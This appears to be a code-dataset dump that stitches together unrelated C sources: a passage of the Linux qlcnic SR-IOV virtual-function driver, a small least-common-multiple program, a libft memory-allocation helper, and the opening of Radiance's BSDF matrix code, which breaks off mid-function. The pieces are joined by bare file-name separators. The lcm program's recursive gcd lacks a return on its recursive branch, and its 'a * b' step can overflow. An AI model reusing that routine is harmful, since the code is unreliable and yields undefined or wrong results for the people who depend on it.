struct qlcnic_adapter *adapter = netdev_priv(netdev);
struct qlcnic_hardware_context *ahw = adapter->ahw;
static const u8 bcast_addr[ETH_ALEN] = {
0xff, 0xff, 0xff, 0xff, 0xff, 0xff
};
struct netdev_hw_addr *ha;
u32 mode = VPORT_MISS_MODE_DROP;
if (!test_bit(__QLCNIC_FW_ATTACHED, &adapter->state))
return;
if (netdev->flags & IFF_PROMISC) {
if (!(adapter->flags & QLCNIC_PROMISC_DISABLED))
mode = VPORT_MISS_MODE_ACCEPT_ALL;
} else if ((netdev->flags & IFF_ALLMULTI) ||
(netdev_mc_count(netdev) > ahw->max_mc_count)) {
mode = VPORT_MISS_MODE_ACCEPT_MULTI;
} else {
qlcnic_vf_add_mc_list(netdev, bcast_addr, QLCNIC_BROADCAST_MAC);
if (!netdev_mc_empty(netdev)) {
qlcnic_flush_mcast_mac(adapter);
netdev_for_each_mc_addr(ha, netdev)
qlcnic_vf_add_mc_list(netdev, ha->addr,
QLCNIC_MULTICAST_MAC);
}
}
/* configure unicast MAC address, if there is not sufficient space
* to store all the unicast addresses then enable promiscuous mode
*/
if (netdev_uc_count(netdev) > ahw->max_uc_count) {
mode = VPORT_MISS_MODE_ACCEPT_ALL;
} else if (!netdev_uc_empty(netdev)) {
netdev_for_each_uc_addr(ha, netdev)
qlcnic_vf_add_mc_list(netdev, ha->addr,
QLCNIC_UNICAST_MAC);
}
if (adapter->pdev->is_virtfn) {
if (mode == VPORT_MISS_MODE_ACCEPT_ALL &&
!adapter->fdb_mac_learn) {
qlcnic_alloc_lb_filters_mem(adapter);
adapter->drv_mac_learn = 1;
adapter->rx_mac_learn = true;
} else {
adapter->drv_mac_learn = 0;
adapter->rx_mac_learn = false;
}
}
qlcnic_nic_set_promisc(adapter, mode);
}
static void qlcnic_sriov_handle_async_issue_cmd(struct work_struct *work)
{
struct qlcnic_async_cmd *entry, *tmp;
struct qlcnic_back_channel *bc;
struct qlcnic_cmd_args *cmd;
struct list_head *head;
LIST_HEAD(del_list);
bc = container_of(work, struct qlcnic_back_channel, vf_async_work);
head = &bc->async_cmd_list;
spin_lock(&bc->queue_lock);
list_splice_init(head, &del_list);
spin_unlock(&bc->queue_lock);
list_for_each_entry_safe(entry, tmp, &del_list, list) {
list_del(&entry->list);
cmd = entry->cmd;
__qlcnic_sriov_issue_cmd(bc->adapter, cmd);
kfree(entry);
}
if (!list_empty(head))
queue_work(bc->bc_async_wq, &bc->vf_async_work);
return;
}
static struct qlcnic_async_cmd *
qlcnic_sriov_alloc_async_cmd(struct qlcnic_back_channel *bc,
struct qlcnic_cmd_args *cmd)
{
struct qlcnic_async_cmd *entry = NULL;
entry = kzalloc(sizeof(*entry), GFP_ATOMIC);
if (!entry)
return NULL;
entry->cmd = cmd;
spin_lock(&bc->queue_lock);
list_add_tail(&entry->list, &bc->async_cmd_list);
spin_unlock(&bc->queue_lock);
return entry;
}
static void qlcnic_sriov_schedule_async_cmd(struct qlcnic_back_channel *bc,
struct qlcnic_cmd_args *cmd)
{
struct qlcnic_async_cmd *entry = NULL;
entry = qlcnic_sriov_alloc_async_cmd(bc, cmd);
if (!entry) {
qlcnic_free_mbx_args(cmd);
kfree(cmd);
return;
}
queue_work(bc->bc_async_wq, &bc->vf_async_work);
}
static int qlcnic_sriov_async_issue_cmd(struct qlcnic_adapter *adapter,
struct qlcnic_cmd_args *cmd)
{
struct qlcnic_back_channel *bc = &adapter->ahw->sriov->bc;
if (adapter->need_fw_reset)
return -EIO;
qlcnic_sriov_schedule_async_cmd(bc, cmd);
return 0;
}
static int qlcnic_sriov_vf_reinit_driver(struct qlcnic_adapter *adapter)
{
int err;
adapter->need_fw_reset = 0;
qlcnic_83xx_reinit_mbx_work(adapter->ahw->mailbox);
qlcnic_83xx_enable_mbx_interrupt(adapter);
err = qlcnic_sriov_cfg_bc_intr(adapter, 1);
if (err)
return err;
err = qlcnic_sriov_channel_cfg_cmd(adapter, QLCNIC_BC_CMD_CHANNEL_INIT);
if (err)
goto err_out_cleanup_bc_intr;
err = qlcnic_sriov_vf_init_driver(adapter);
if (err)
goto err_out_term_channel;
return 0;
err_out_term_channel:
qlcnic_sriov_channel_cfg_cmd(adapter, QLCNIC_BC_CMD_CHANNEL_TERM);
err_out_cleanup_bc_intr:
qlcnic_sriov_cfg_bc_intr(adapter, 0);
return err;
}
static void qlcnic_sriov_vf_attach(struct qlcnic_adapter *adapter)
{
struct net_device *netdev = adapter->netdev;
if (netif_running(netdev)) {
if (!qlcnic_up(adapter, netdev))
qlcnic_restore_indev_addr(netdev, NETDEV_UP);
}
netif_device_attach(netdev);
}
static void qlcnic_sriov_vf_detach(struct qlcnic_adapter *adapter)
{
struct qlcnic_hardware_context *ahw = adapter->ahw;
struct qlcnic_intrpt_config *intr_tbl = ahw->intr_tbl;
struct net_device *netdev = adapter->netdev;
u8 i, max_ints = ahw->num_msix - 1;
netif_device_detach(netdev);
qlcnic_83xx_detach_mailbox_work(adapter);
qlcnic_83xx_disable_mbx_intr(adapter);
if (netif_running(netdev))
qlcnic_down(adapter, netdev);
for (i = 0; i < max_ints; i++) {
intr_tbl[i].id = i;
intr_tbl[i].enabled = 0;
intr_tbl[i].src = 0;
}
ahw->reset_context = 0;
}
static int qlcnic_sriov_vf_handle_dev_ready(struct qlcnic_adapter *adapter)
{
struct qlcnic_hardware_context *ahw = adapter->ahw;
struct device *dev = &adapter->pdev->dev;
struct qlc_83xx_idc *idc = &ahw->idc;
u8 func = ahw->pci_func;
u32 state;
if ((idc->prev_state == QLC_83XX_IDC_DEV_NEED_RESET) ||
(idc->prev_state == QLC_83XX_IDC_DEV_INIT)) {
if (!qlcnic_sriov_vf_reinit_driver(adapter)) {
qlcnic_sriov_vf_attach(adapter);
adapter->fw_fail_cnt = 0;
dev_info(dev,
"%s: Reinitialization of VF 0x%x done after FW reset\n",
__func__, func);
} else {
dev_err(dev,
"%s: Reinitialization of VF 0x%x failed after FW reset\n",
__func__, func);
state = QLCRDX(ahw, QLC_83XX_IDC_DEV_STATE);
dev_info(dev, "Current state 0x%x after FW reset\n",
state);
}
}
return 0;
}
static int qlcnic_sriov_vf_handle_context_reset(struct qlcnic_adapter *adapter)
{
struct qlcnic_hardware_context *ahw = adapter->ahw;
struct qlcnic_mailbox *mbx = ahw->mailbox;
struct device *dev = &adapter->pdev->dev;
struct qlc_83xx_idc *idc = &ahw->idc;
u8 func = ahw->pci_func;
u32 state;
adapter->reset_ctx_cnt++;
/* Skip the context reset and check if FW is hung */
if (adapter->reset_ctx_cnt < 3) {
adapter->need_fw_reset = 1;
clear_bit(QLC_83XX_MBX_READY, &mbx->status);
dev_info(dev,
"Resetting context, wait here to check if FW is in failed state\n");
return 0;
}
/* Check if number of resets exceed the threshold.
* If it exceeds the threshold just fail the VF.
*/
if (adapter->reset_ctx_cnt > QLC_83XX_VF_RESET_FAIL_THRESH) {
clear_bit(QLC_83XX_MODULE_LOADED, &idc->status);
adapter->tx_timeo_cnt = 0;
adapter->fw_fail_cnt = 0;
adapter->reset_ctx_cnt = 0;
qlcnic_sriov_vf_detach(adapter);
dev_err(dev,
"Device context resets have exceeded the threshold, device interface will be shutdown\n");
return -EIO;
}
dev_info(dev, "Resetting context of VF 0x%x\n", func);
dev_info(dev, "%s: Context reset count %d for VF 0x%x\n",
__func__, adapter->reset_ctx_cnt, func);
set_bit(__QLCNIC_RESETTING, &adapter->state);
adapter->need_fw_reset = 1;
clear_bit(QLC_83XX_MBX_READY, &mbx->status);
qlcnic_sriov_vf_detach(adapter);
adapter->need_fw_reset = 0;
if (!qlcnic_sriov_vf_reinit_driver(adapter)) {
qlcnic_sriov_vf_attach(adapter);
adapter->tx_timeo_cnt = 0;
adapter->reset_ctx_cnt = 0;
adapter->fw_fail_cnt = 0;
dev_info(dev, "Done resetting context for VF 0x%x\n", func);
} else {
dev_err(dev, "%s: Reinitialization of VF 0x%x failed\n",
__func__, func);
state = QLCRDX(ahw, QLC_83XX_IDC_DEV_STATE);
dev_info(dev, "%s: Current state 0x%x\n", __func__, state);
}
return 0;
}
static int qlcnic_sriov_vf_idc_ready_state(struct qlcnic_adapter *adapter)
{
struct qlcnic_hardware_context *ahw = adapter->ahw;
int ret = 0;
if (ahw->idc.prev_state != QLC_83XX_IDC_DEV_READY)
ret = qlcnic_sriov_vf_handle_dev_ready(adapter);
else if (ahw->reset_context)
ret = qlcnic_sriov_vf_handle_context_reset(adapter);
clear_bit(__QLCNIC_RESETTING, &adapter->state);
return ret;
}
static int qlcnic_sriov_vf_idc_failed_state(struct qlcnic_adapter *adapter)
{
struct qlc_83xx_idc *idc = &adapter->ahw->idc;
dev_err(&adapter->pdev->dev, "Device is in failed state\n");
if (idc->prev_state == QLC_83XX_IDC_DEV_READY)
qlcnic_sriov_vf_detach(adapter);
clear_bit(QLC_83XX_MODULE_LOADED, &idc->status);
clear_bit(__QLCNIC_RESETTING, &adapter->state);
return -EIO;
}
static int
qlcnic_sriov_vf_idc_need_quiescent_state(struct qlcnic_adapter *adapter)
{
struct qlcnic_mailbox *mbx = adapter->ahw->mailbox;
struct qlc_83xx_idc *idc = &adapter->ahw->idc;
dev_info(&adapter->pdev->dev, "Device is in quiescent state\n");
if (idc->prev_state == QLC_83XX_IDC_DEV_READY) {
set_bit(__QLCNIC_RESETTING, &adapter->state);
adapter->tx_timeo_cnt = 0;
adapter->reset_ctx_cnt = 0;
clear_bit(QLC_83XX_MBX_READY, &mbx->status);
qlcnic_sriov_vf_detach(adapter);
}
return 0;
}
static int qlcnic_sriov_vf_idc_init_reset_state(struct qlcnic_adapter *adapter)
{
struct qlcnic_mailbox *mbx = adapter->ahw->mailbox;
struct qlc_83xx_idc *idc = &adapter->ahw->idc;
u8 func = adapter->ahw->pci_func;
if (idc->prev_state == QLC_83XX_IDC_DEV_READY) {
dev_err(&adapter->pdev->dev,
"Firmware hang detected by VF 0x%x\n", func);
set_bit(__QLCNIC_RESETTING, &adapter->state);
adapter->tx_timeo_cnt = 0;
adapter->reset_ctx_cnt = 0;
clear_bit(QLC_83XX_MBX_READY, &mbx->status);
qlcnic_sriov_vf_detach(adapter);
}
return 0;
}
static int qlcnic_sriov_vf_idc_unknown_state(struct qlcnic_adapter *adapter)
{
dev_err(&adapter->pdev->dev, "%s: Device in unknown state\n", __func__);
return 0;
}
static void qlcnic_sriov_vf_periodic_tasks(struct qlcnic_adapter *adapter)
{
if (adapter->fhash.fnum)
qlcnic_prune_lb_filters(adapter);
}
static void qlcnic_sriov_vf_poll_dev_state(struct work_struct *work)
{
struct qlcnic_adapter *adapter;
struct qlc_83xx_idc *idc;
int ret = 0;
adapter = container_of(work, struct qlcnic_adapter, fw_work.work);
idc = &adapter->ahw->idc;
idc->curr_state = QLCRDX(adapter->ahw, QLC_83XX_IDC_DEV_STATE);
switch (idc->curr_state) {
case QLC_83XX_IDC_DEV_READY:
ret = qlcnic_sriov_vf_idc_ready_state(adapter);
break;
case QLC_83XX_IDC_DEV_NEED_RESET:
case QLC_83XX_IDC_DEV_INIT:
ret = qlcnic_sriov_vf_idc_init_reset_state(adapter);
break;
case QLC_83XX_IDC_DEV_NEED_QUISCENT:
ret = qlcnic_sriov_vf_idc_need_quiescent_state(adapter);
break;
case QLC_83XX_IDC_DEV_FAILED:
ret = qlcnic_sriov_vf_idc_failed_state(adapter);
break;
case QLC_83XX_IDC_DEV_QUISCENT:
break;
default:
ret = qlcnic_sriov_vf_idc_unknown_state(adapter);
}
idc->prev_state = idc->curr_state;
qlcnic_sriov_vf_periodic_tasks(adapter);
if (!ret && test_bit(QLC_83XX_MODULE_LOADED, &idc->status))
qlcnic_schedule_work(adapter, qlcnic_sriov_vf_poll_dev_state,
idc->delay);
}
static void qlcnic_sriov_vf_cancel_fw_work(struct qlcnic_adapter *adapter)
{
while (test_and_set_bit(__QLCNIC_RESETTING, &adapter->state))
msleep(20);
clear_bit(QLC_83XX_MODULE_LOADED, &adapter->ahw->idc.status);
clear_bit(__QLCNIC_RESETTING, &adapter->state);
cancel_delayed_work_sync(&adapter->fw_work);
}
static int qlcnic_sriov_check_vlan_id(struct qlcnic_sriov *sriov,
struct qlcnic_vf_info *vf, u16 vlan_id)
{
int i, err = -EINVAL;
if (!vf->sriov_vlans)
return err;
spin_lock_bh(&vf->vlan_list_lock);
for (i = 0; i < sriov->num_allowed_vlans; i++) {
if (vf->sriov_vlans[i] == vlan_id) {
err = 0;
break;
}
}
spin_unlock_bh(&vf->vlan_list_lock);
return err;
}
static int qlcnic_sriov_validate_num_vlans(struct qlcnic_sriov *sriov,
struct qlcnic_vf_info *vf)
{
int err = 0;
spin_lock_bh(&vf->vlan_list_lock);
if (vf->num_vlan >= sriov->num_allowed_vlans)
err = -EINVAL;
spin_unlock_bh(&vf->vlan_list_lock);
return err;
}
static int qlcnic_sriov_validate_vlan_cfg(struct qlcnic_adapter *adapter,
u16 vid, u8 enable)
{
struct qlcnic_sriov *sriov = adapter->ahw->sriov;
struct qlcnic_vf_info *vf;
bool vlan_exist;
u8 allowed = 0;
int i;
vf = &adapter->ahw->sriov->vf_info[0];
vlan_exist = qlcnic_sriov_check_any_vlan(vf);
if (sriov->vlan_mode != QLC_GUEST_VLAN_MODE)
return -EINVAL;
if (enable) {
if (qlcnic_83xx_vf_check(adapter) && vlan_exist)
return -EINVAL;
if (qlcnic_sriov_validate_num_vlans(sriov, vf))
return -EINVAL;
if (sriov->any_vlan) {
for (i = 0; i < sriov->num_allowed_vlans; i++) {
if (sriov->allowed_vlans[i] == vid)
allowed = 1;
}
if (!allowed)
return -EINVAL;
}
} else {
if (!vlan_exist || qlcnic_sriov_check_vlan_id(sriov, vf, vid))
return -EINVAL;
}
return 0;
}
static void qlcnic_sriov_vlan_operation(struct qlcnic_vf_info *vf, u16 vlan_id,
enum qlcnic_vlan_operations opcode)
{
struct qlcnic_adapter *adapter = vf->adapter;
struct qlcnic_sriov *sriov;
sriov = adapter->ahw->sriov;
if (!vf->sriov_vlans)
return;
spin_lock_bh(&vf->vlan_list_lock);
switch (opcode) {
case QLC_VLAN_ADD:
qlcnic_sriov_add_vlan_id(sriov, vf, vlan_id);
break;
case QLC_VLAN_DELETE:
qlcnic_sriov_del_vlan_id(sriov, vf, vlan_id);
break;
default:
netdev_err(adapter->netdev, "Invalid VLAN operation\n");
}
spin_unlock_bh(&vf->vlan_list_lock);
return;
}
int qlcnic_sriov_cfg_vf_guest_vlan(struct qlcnic_adapter *adapter,
u16 vid, u8 enable)
{
struct qlcnic_sriov *sriov = adapter->ahw->sriov;
struct net_device *netdev = adapter->netdev;
struct qlcnic_vf_info *vf;
struct qlcnic_cmd_args cmd;
int ret;
memset(&cmd, 0, sizeof(cmd));
if (vid == 0)
return 0;
vf = &adapter->ahw->sriov->vf_info[0];
ret = qlcnic_sriov_validate_vlan_cfg(adapter, vid, enable);
if (ret)
return ret;
ret = qlcnic_sriov_alloc_bc_mbx_args(&cmd,
QLCNIC_BC_CMD_CFG_GUEST_VLAN);
if (ret)
return ret;
cmd.req.arg[1] = (enable & 1) | vid << 16;
qlcnic_sriov_cleanup_async_list(&sriov->bc);
ret = qlcnic_issue_cmd(adapter, &cmd);
if (ret) {
dev_err(&adapter->pdev->dev,
"Failed to configure guest VLAN, err=%d\n", ret);
} else {
netif_addr_lock_bh(netdev);
qlcnic_free_mac_list(adapter);
netif_addr_unlock_bh(netdev);
if (enable)
qlcnic_sriov_vlan_operation(vf, vid, QLC_VLAN_ADD);
else
qlcnic_sriov_vlan_operation(vf, vid, QLC_VLAN_DELETE);
netif_addr_lock_bh(netdev);
qlcnic_set_multi(netdev);
netif_addr_unlock_bh(netdev);
}
qlcnic_free_mbx_args(&cmd);
return ret;
}
static void qlcnic_sriov_vf_free_mac_list(struct qlcnic_adapter *adapter)
{
struct list_head *head = &adapter->mac_list;
struct qlcnic_mac_vlan_list *cur;
while (!list_empty(head)) {
cur = list_entry(head->next, struct qlcnic_mac_vlan_list, list);
qlcnic_sre_macaddr_change(adapter, cur->mac_addr, cur->vlan_id,
QLCNIC_MAC_DEL);
list_del(&cur->list);
kfree(cur);
}
}
static int qlcnic_sriov_vf_shutdown(struct pci_dev *pdev)
{
struct qlcnic_adapter *adapter = pci_get_drvdata(pdev);
struct net_device *netdev = adapter->netdev;
int retval;
netif_device_detach(netdev);
qlcnic_cancel_idc_work(adapter);
if (netif_running(netdev))
qlcnic_down(adapter, netdev);
qlcnic_sriov_channel_cfg_cmd(adapter, QLCNIC_BC_CMD_CHANNEL_TERM);
qlcnic_sriov_cfg_bc_intr(adapter, 0);
qlcnic_83xx_disable_mbx_intr(adapter);
cancel_delayed_work_sync(&adapter->idc_aen_work);
retval = pci_save_state(pdev);
if (retval)
return retval;
return 0;
}
static int qlcnic_sriov_vf_resume(struct qlcnic_adapter *adapter)
{
struct qlc_83xx_idc *idc = &adapter->ahw->idc;
struct net_device *netdev = adapter->netdev;
int err;
set_bit(QLC_83XX_MODULE_LOADED, &idc->status);
qlcnic_83xx_enable_mbx_interrupt(adapter);
err = qlcnic_sriov_cfg_bc_intr(adapter, 1);
if (err)
return err;
err = qlcnic_sriov_channel_cfg_cmd(adapter, QLCNIC_BC_CMD_CHANNEL_INIT);
if (!err) {
if (netif_running(netdev)) {
err = qlcnic_up(adapter, netdev);
if (!err)
qlcnic_restore_indev_addr(netdev, NETDEV_UP);
}
}
netif_device_attach(netdev);
qlcnic_schedule_work(adapter, qlcnic_sriov_vf_poll_dev_state,
idc->delay);
return err;
}
void qlcnic_sriov_alloc_vlans(struct qlcnic_adapter *adapter)
{
struct qlcnic_sriov *sriov = adapter->ahw->sriov;
struct qlcnic_vf_info *vf;
int i;
for (i = 0; i < sriov->num_vfs; i++) {
vf = &sriov->vf_info[i];
vf->sriov_vlans = kcalloc(sriov->num_allowed_vlans,
sizeof(*vf->sriov_vlans), GFP_KERNEL);
}
}
void qlcnic_sriov_free_vlans(struct qlcnic_adapter *adapter)
{
struct qlcnic_sriov *sriov = adapter->ahw->sriov;
struct qlcnic_vf_info *vf;
int i;
for (i = 0; i < sriov->num_vfs; i++) {
vf = &sriov->vf_info[i];
kfree(vf->sriov_vlans);
vf->sriov_vlans = NULL;
}
}
void qlcnic_sriov_add_vlan_id(struct qlcnic_sriov *sriov,
struct qlcnic_vf_info *vf, u16 vlan_id)
{
int i;
for (i = 0; i < sriov->num_allowed_vlans; i++) {
if (!vf->sriov_vlans[i]) {
vf->sriov_vlans[i] = vlan_id;
vf->num_vlan++;
return;
}
}
}
void qlcnic_sriov_del_vlan_id(struct qlcnic_sriov *sriov,
struct qlcnic_vf_info *vf, u16 vlan_id)
{
int i;
for (i = 0; i < sriov->num_allowed_vlans; i++) {
if (vf->sriov_vlans[i] == vlan_id) {
vf->sriov_vlans[i] = 0;
vf->num_vlan--;
return;
}
}
}
bool qlcnic_sriov_check_any_vlan(struct qlcnic_vf_info *vf)
{
bool err = false;
spin_lock_bh(&vf->vlan_list_lock);
if (vf->num_vlan)
err = true;
spin_unlock_bh(&vf->vlan_list_lock);
return err;
}
|
738692.c | #include <stdio.h>
int gcd(int, int);
//Program calculates the least common multiple of two integers
//and utilizes the gcd function
int main()
{
int a, b, lcm;
printf("Enter the first number: ");
scanf("%d", &a);
printf("Enter the second number: ");
scanf("%d", &b);
lcm = (a * b) / gcd(a,b);
printf("The least common multiple of %d and %d is %d\n", a, b, lcm);
return 0;
}
int gcd(int a, int b)
{
if (b != 0)
gcd(b, a % b);
else
return a;
}
|
910038.c | /* ************************************************************************** */
/* */
/* ::: :::::::: */
/* ft_memalloc.c :+: :+: :+: */
/* +:+ +:+ +:+ */
/* By: klekisha <[email protected]> +#+ +:+ +#+ */
/* +#+#+#+#+#+ +#+ */
/* Created: 2019/04/14 16:40:42 by klekisha #+# #+# */
/* Updated: 2019/04/23 20:08:49 by klekisha ### ########.fr */
/* */
/* ************************************************************************** */
#include "libft.h"
void *ft_memalloc(size_t size)
{
void *temp;
temp = malloc(size);
if (!temp)
{
return (NULL);
}
ft_bzero(temp, size);
return (temp);
}
|
485440.c | #ifndef lint
static const char RCSid[] = "$Id: bsdf_m.c,v 3.37 2018/01/05 21:00:24 greg Exp $";
#endif
/*
* bsdf_m.c
*
* Definitions supporting BSDF matrices
*
* Created by Greg Ward on 2/2/11.
* Copyright 2011 Anyhere Software. All rights reserved.
*
*/
#define _USE_MATH_DEFINES
#include "rtio.h"
#include <math.h>
#include <ctype.h>
#include "ezxml.h"
#include "bsdf.h"
#include "bsdf_m.h"
/* Function return codes */
#define RC_GOOD 1
#define RC_FAIL 0
#define RC_FORMERR (-1)
#define RC_DATERR (-2)
#define RC_UNSUPP (-3)
#define RC_INTERR (-4)
#define RC_MEMERR (-5)
ANGLE_BASIS abase_list[MAXABASES] = {
{
"LBNL/Klems Full", 145,
{ {0., 1},
{5., 8},
{15., 16},
{25., 20},
{35., 24},
{45., 24},
{55., 24},
{65., 16},
{75., 12},
{90., 0} }
}, {
"LBNL/Klems Half", 73,
{ {0., 1},
{6.5, 8},
{19.5, 12},
{32.5, 16},
{46.5, 20},
{61.5, 12},
{76.5, 4},
{90., 0} }
}, {
"LBNL/Klems Quarter", 41,
{ {0., 1},
{9., 8},
{27., 12},
{46., 12},
{66., 8},
{90., 0} }
}
};
int nabases = 3; /* current number of defined bases */
C_COLOR mtx_RGB_prim[3]; /* our RGB primaries */
float mtx_RGB_coef[3]; /* corresponding Y coefficients */
enum {mtx_Y, mtx_X, mtx_Z}; /* matrix components (mtx_Y==0) */
/* check if two real values are near enough to equal */
static int
fequal(double a, double b)
{
if (b != 0)
a = a/b - 1.;
return (a <= 1e-6) & (a >= -1e-6);
}
/* convert error to standard BSDF code */
static SDError
convert_errcode(int ec)
{
switch (ec) {
case RC_GOOD:
return SDEnone;
case RC_FORMERR:
return SDEformat;
case RC_DATERR:
return SDEdata;
case RC_UNSUPP:
return SDEsupport;
case RC_INTERR:
return SDEinternal;
case RC_MEMERR:
return SDEmemory;
}
return SDEunknown;
}
/* allocate a BSDF matrix of the given size */
static SDMat *
SDnewMatrix(int ni, int no)
{
SDMat *sm;
if ((ni <= 0) | (no <= 0)) {
strcpy(SDerrorDetail, "Empty BSDF matrix request");
return NULL;
}
sm = (SDMat *)malloc(sizeof(SDMat) + (ni*no - 1)*sizeof(float));
if (sm == NULL) {
sprintf(SDerrorDetail, "Cannot allocate %dx%d BSDF matrix",
ni, no);
return NULL;
}
memset(sm, 0, sizeof(SDMat)-sizeof(float));
sm->ninc = ni;
sm->nout = no;
return sm;
}
/* Free a BSDF matrix */
void
SDfreeMatrix(void *ptr)
{
SDMat *mp = (SDMat *)ptr;
if (mp->chroma != NULL) free(mp->chroma);
free(ptr);
}
/* compute square of real value */
static double sq(double x) { return x*x; }
/* Get vector for this angle basis index (front exiting) */
int
fo_getvec(FVECT v, double ndxr, void *p)
{
ANGLE_BASIS *ab = (ANGLE_BASIS *)p;
int ndx = (int)ndxr;
double randX = ndxr - ndx;
double rx[2];
int li;
double azi, d;
if ((ndxr < 0) | (ndx >= ab->nangles))
return RC_FAIL;
for (li = 0; ndx >= ab->lat[li].nphis; li++)
ndx -= ab->lat[li].nphis;
SDmultiSamp(rx, 2, randX);
d = (1. - rx[0])*sq(cos(M_PI/180.*ab->lat[li].tmin)) +
rx[0]*sq(cos(M_PI/180.*ab->lat[li+1].tmin));
v[2] = d = sqrt(d); /* cos(pol) */
azi = 2.*M_PI*(ndx + rx[1] - .5)/ab->lat[li].nphis;
d = sqrt(1. - d*d); /* sin(pol) */
v[0] = cos(azi)*d;
v[1] = sin(azi)*d;
return RC_GOOD;
}
/* Get index corresponding to the given vector (front exiting) */
int
fo_getndx(const FVECT v, void *p)
{
ANGLE_BASIS *ab = (ANGLE_BASIS *)p;
int li, ndx;
double pol, azi;
if (v == NULL)
return -1;
if ((v[2] < 0) | (v[2] > 1.))
return -1;
pol = 180.0/M_PI*Acos(v[2]);
azi = 180.0/M_PI*atan2(v[1], v[0]);
if (azi < 0.0) azi += 360.0;
for (li = 1; ab->lat[li].tmin <= pol; li++)
if (!ab->lat[li].nphis)
return -1;
--li;
ndx = (int)((1./360.)*azi*ab->lat[li].nphis + 0.5);
if (ndx >= ab->lat[li].nphis) ndx = 0;
while (li--)
ndx += ab->lat[li].nphis;
return ndx;
}
/* Get projected solid angle for this angle basis index (universal) */
double
io_getohm(int ndx, void *p)
{
static void *last_p = NULL;
static int last_li = -1;
static double last_ohm;
ANGLE_BASIS *ab = (ANGLE_BASIS *)p;
int li;
double theta, theta1;
if ((ndx < 0) | (ndx >= ab->nangles))
return -1.;
for (li = 0; ndx >= ab->lat[li].nphis; li++)
ndx -= ab->lat[li].nphis;
if ((p == last_p) & (li == last_li)) /* cached latitude? */
return last_ohm;
last_p = p;
last_li = li;
theta = M_PI/180. * ab->lat[li].tmin;
theta1 = M_PI/180. * ab->lat[li+1].tmin;
return last_ohm = M_PI*(sq(cos(theta)) - sq(cos(theta1))) /
(double)ab->lat[li].nphis;
}
/* Get vector for this angle basis index (back incident) */
int
bi_getvec(FVECT v, double ndxr, void *p)
{
if (!fo_getvec(v, ndxr, p))
return RC_FAIL;
v[0] = -v[0];
v[1] = -v[1];
v[2] = -v[2];
return RC_GOOD;
}
/* Get index corresponding to the vector (back incident) */
int
bi_getndx(const FVECT v, void *p)
{
FVECT v2;
v2[0] = -v[0];
v2[1] = -v[1];
v2[2] = -v[2];
return fo_getndx(v2, p);
}
/* Get vector for this angle basis index (back exiting) */
int
bo_getvec(FVECT v, double ndxr, void *p)
{
if (!fo_getvec(v, ndxr, p))
return RC_FAIL;
v[2] = -v[2];
return RC_GOOD;
}
/* Get index corresponding to the vector (back exiting) */
int
bo_getndx(const FVECT v, void *p)
{
FVECT v2;
v2[0] = v[0];
v2[1] = v[1];
v2[2] = -v[2];
return fo_getndx(v2, p);
}
/* Get vector for this angle basis index (front incident) */
int
fi_getvec(FVECT v, double ndxr, void *p)
{
if (!fo_getvec(v, ndxr, p))
return RC_FAIL;
v[0] = -v[0];
v[1] = -v[1];
return RC_GOOD;
}
/* Get index corresponding to the vector (front incident) */
int
fi_getndx(const FVECT v, void *p)
{
FVECT v2;
v2[0] = -v[0];
v2[1] = -v[1];
v2[2] = v[2];
return fo_getndx(v2, p);
}
/* Get color or grayscale value for BSDF for the given direction pair */
int
mBSDF_color(float coef[], const SDMat *dp, int i, int o)
{
C_COLOR cxy;
coef[0] = mBSDF_value(dp, i, o);
if (dp->chroma == NULL)
return 1; /* grayscale */
c_decodeChroma(&cxy, mBSDF_chroma(dp,i,o));
c_toSharpRGB(&cxy, coef[0], coef);
coef[0] *= mtx_RGB_coef[0];
coef[1] *= mtx_RGB_coef[1];
coef[2] *= mtx_RGB_coef[2];
return 3; /* RGB color */
}
/* load custom BSDF angle basis */
static int
load_angle_basis(ezxml_t wab)
{
char *abname = ezxml_txt(ezxml_child(wab, "AngleBasisName"));
ezxml_t wbb;
int i;
if (!abname || !*abname)
return RC_FAIL;
for (i = nabases; i--; )
if (!strcasecmp(abname, abase_list[i].name))
return RC_GOOD; /* assume it's the same */
if (nabases >= MAXABASES) {
sprintf(SDerrorDetail, "Out of angle bases reading '%s'",
abname);
return RC_INTERR;
}
strcpy(abase_list[nabases].name, abname);
abase_list[nabases].nangles = 0;
for (i = 0, wbb = ezxml_child(wab, "AngleBasisBlock");
wbb != NULL; i++, wbb = wbb->next) {
if (i >= MAXLATS) {
sprintf(SDerrorDetail, "Too many latitudes for '%s'",
abname);
return RC_INTERR;
}
abase_list[nabases].lat[i+1].tmin = atof(ezxml_txt(
ezxml_child(ezxml_child(wbb,
"ThetaBounds"), "UpperTheta")));
if (!i)
abase_list[nabases].lat[0].tmin = 0;
else if (!fequal(atof(ezxml_txt(ezxml_child(ezxml_child(wbb,
"ThetaBounds"), "LowerTheta"))),
abase_list[nabases].lat[i].tmin)) {
sprintf(SDerrorDetail, "Theta values disagree in '%s'",
abname);
return RC_DATERR;
}
abase_list[nabases].nangles +=
abase_list[nabases].lat[i].nphis =
atoi(ezxml_txt(ezxml_child(wbb, "nPhis")));
if (abase_list[nabases].lat[i].nphis <= 0 ||
(abase_list[nabases].lat[i].nphis == 1 &&
abase_list[nabases].lat[i].tmin > FTINY)) {
sprintf(SDerrorDetail, "Illegal phi count in '%s'",
abname);
return RC_DATERR;
}
}
abase_list[nabases++].lat[i].nphis = 0;
return RC_GOOD;
}
/* compute min. proj. solid angle and max. direct hemispherical scattering */
static int
get_extrema(SDSpectralDF *df)
{
SDMat *dp = (SDMat *)df->comp[0].dist;
double *ohma;
int i, o;
/* initialize extrema */
df->minProjSA = M_PI;
df->maxHemi = .0;
ohma = (double *)malloc(dp->nout*sizeof(double));
if (ohma == NULL)
return RC_MEMERR;
/* get outgoing solid angles */
for (o = dp->nout; o--; )
if ((ohma[o] = mBSDF_outohm(dp,o)) < df->minProjSA)
df->minProjSA = ohma[o];
/* compute hemispherical sums */
for (i = dp->ninc; i--; ) {
double hemi = .0;
for (o = dp->nout; o--; )
hemi += ohma[o] * mBSDF_value(dp, i, o);
if (hemi > df->maxHemi)
df->maxHemi = hemi;
}
free(ohma);
/* need incoming solid angles, too? */
if ((dp->ib_ohm != dp->ob_ohm) | (dp->ib_priv != dp->ob_priv)) {
double ohm;
for (i = dp->ninc; i--; )
if ((ohm = mBSDF_incohm(dp,i)) < df->minProjSA)
df->minProjSA = ohm;
}
return (df->maxHemi <= 1.01);
}
/* load BSDF distribution for this wavelength */
static int
load_bsdf_data(SDData *sd, ezxml_t wdb, int ct, int rowinc)
{
SDSpectralDF *df;
SDMat *dp;
char *sdata;
int inbi, outbi;
int i;
/* allocate BSDF component */
